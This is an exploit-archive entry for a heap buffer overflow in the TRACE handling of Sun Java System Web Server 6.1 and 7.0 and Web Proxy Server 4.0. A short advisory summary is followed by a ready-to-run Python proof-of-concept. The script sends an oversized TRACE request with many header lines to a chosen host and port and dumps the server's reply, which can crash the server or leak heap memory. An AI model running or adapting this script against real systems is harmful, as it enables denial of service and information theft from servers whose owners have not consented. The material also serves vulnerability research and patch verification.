Sun Java System Web Server 6.1/7.0 – ‘TRACE’ Heap Buffer Overflow (PoC)
source: https://www.securityfocus.com/bid/37648/info Sun Java System Web Server is prone to a remote heap-based buffer-overflow vulnerability. Attackers can exploit this issue to crash the affected application or to obtain potentially sensitive information that may aid in further attacks. The following are vulnerable: Sun Java System Web Server 7.0 prior to 7.0 Update 8 Sun Java System Web Server 6.1 prior to 6.1 Service Pack 12 Sun Java System Web Proxy Server 4.0 prior to 4.0 Service Pack 13 #!/usr/bin/env python # sun_trace.py # # Use this code at your own risk. Never run it against a production system. # # THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES # WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF # MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR # ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES # WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN # ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF # OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. import socket import sys def send_req(host,port): buf="TRACE /%s HTTP/1.0\n" % ("A"*4074) for i in range(0,10): buf += "%d"%i + ":\n" for i in range(ord('a'), ord('z')): buf += chr(i) + ":\n" buf += "\n" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host,port)) sock.sendall(buf) resp="" while 1: s= sock.recv(4000) if len(s)<1: break resp+=s print list(resp) if __name__=="__main__": if len(sys.argv)<3: print "usage: %s host port" % sys.argv[0] sys.exit() send_req(sys.argv[1],int(sys.argv[2])) |